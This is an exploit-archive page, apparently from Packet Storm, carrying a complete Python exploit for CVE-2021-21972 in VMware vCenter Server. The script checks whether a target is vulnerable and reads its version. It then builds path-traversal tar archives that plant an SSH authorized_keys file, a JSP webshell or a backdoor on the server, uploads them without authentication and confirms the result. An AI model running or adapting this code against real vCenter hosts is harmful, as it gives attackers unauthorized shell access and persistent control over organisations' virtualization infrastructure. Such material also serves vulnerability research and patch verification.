exploit the possibilities

VMware vCenter Server 7.0 Arbitrary File Upload

VMware vCenter Server 7.0 Arbitrary File Upload
Posted Mar 1, 2021
Authored by Photubias

VMware vCenter Server version 7.0 unauthenticated arbitrary file upload exploit.

tags | exploit, arbitrary, file upload
advisories | CVE-2021-21972
MD5 | 8dcbcd4aa0bd7cc8803e9bfffc6bc6cd

VMware vCenter Server 7.0 Arbitrary File Upload

Change Mirror Download
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972

#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2021-21972.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

CVE-2021-21972 is an unauthenticated file upload and overwrite,
exploitation can be done via SSH public key upload or a webshell
The webshell must be of type JSP, and its success depends heavily on the specific vCenter version

# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister
# A white page means vulnerable
# A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
# Notes:
# * On Linux SSH key upload is always best, when SSH access is possible & enabled
# * On Linux the upload is done as user vsphere-ui:users
# * On Windows the upload is done as system user
# * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
# * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Features: vulnerability checker + exploit
'''

import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()

lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>'''
sURL = sFile = sRpath = sType = None

def parseArguments(options):
global sURL, sFile, sType, sRpath, lProxy
if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
sURL = options.url
if sURL[-1:] == '/': sURL = sURL[:-1]
if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
sFile = options.file
if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
sType = 'ssh'
if options.type: sType = options.type
if options.rpath: sRpath = options.rpath
else: sRpath = None
if options.proxy: lProxy = {'https': options.proxy}

def getVersion(sURL):
def getValue(sResponse, sTag = 'vendor'):
try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
except: pass
return ''
oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
#print(oResponse.text)
if oResponse.status_code == 200:
sResult = oResponse.text
if not 'VMware' in getValue(sResult, 'vendor'):
exit('[-] Not a VMware system: ' + sURL)
else:
sName = getValue(sResult, 'name')
sVersion = getValue(sResult, 'version') # e.g. 7.0.0
sBuild = getValue(sResult, 'build') # e.g. 15934073
sFull = getValue(sResult, 'fullName')
print('[+] Identified: ' + sFull)
return sVersion, sBuild
exit('[-] Not a VMware system: ' + sURL)

def verify(sURL):
#return True
sURL += '/ui/vropspluginui/rest/services/uploadova'
try:
oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
except:
exit('[-] System not available: ' + sURL)
if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
else: return False

def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
def getResourcePath():
oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
return oResponse.text.split('static/')[1].split('/')[0]
oTar = tarfile.open('payloadLin.tar','w')
if sRpath: ## version & build not important
if sRpath[0] == '/': sRpath = sRpath[1:]
sPayloadPath = '../../' + sRpath
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'absolute'
elif sType.lower() == 'ssh': ## version & build not important
sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'ssh'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)
oTar.close()
return 'webshell'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):
## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'
else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):
## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'


def createTarWin(sFile, sRpath = None):
## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows
if sRpath:
if sRpath[0] == '/': sRpath = sRpath[:1]
sPayloadPath = '../../' + sRpath
else:
sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)
oTar = tarfile.open('payloadWin.tar','w')
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()

def uploadFile(sURL, sUploadType, sFile):
#print('[!] Uploading ' + sFile)
sFile = os.path.basename(sFile)
sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova'
arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}
## Linux
oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Linux payload uploaded succesfully.')
if sUploadType == 'ssh':
print('[+] SSH key installed for user \'vsphere-ui\'.')
print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'')
return True
elif sUploadType == 'webshell':
sWebshell = sURL + '/ui/resources/' + sFile
#print('testing ' + sWebshell)
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
elif sUploadType == 'backdoor':
sWebshell = sURL + '/ui/resources/' + sFile
print('[+] Backdoor ready, please reboot or wait for a reboot')
print(' then open: ' + sWebshell)
else: ## absolute
pass
## Windows
arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}
oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Windows payload uploaded succesfully.')
if sUploadType == 'backdoor':
print('[+] Absolute upload looks OK')
return True
else:
sWebshell = sURL + '/statsreport/' + sFile
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
return False

if __name__ == "__main__":
usage = (
'Usage: %prog [option]\n'
'Exploiting Windows & Linux vCenter Server\n'
'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n'
'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n'
'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')

parser = optparse.OptionParser(usage=usage)
parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')
parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')
parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')
parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')

(options, args) = parser.parse_args()

parseArguments(options)

## Verify
if verify(sURL): print('[+] Target vulnerable: ' + sURL)
else: exit('[-] Target not vulnerable: ' + sURL)

## Read out the version
sVersion, sBuild = getVersion(sURL)
if sRpath: print('[!] Ready to upload your file to ' + sRpath)
elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'')
else: print('[!] Ready to upload webshell \'' + sFile + '\'')
sAns = input('[?] Want to exploit? [y/N]: ')
if not sAns or not sAns[0].lower() == 'y': exit()

## Create TAR file
sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)
if not sUploadType == 'ssh': createTarWin(sFile, sRpath)

## Upload and verify
uploadFile(sURL, sUploadType, sFile)

## Cleanup
os.remove('payloadLin.tar')
os.remove('payloadWin.tar')

Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close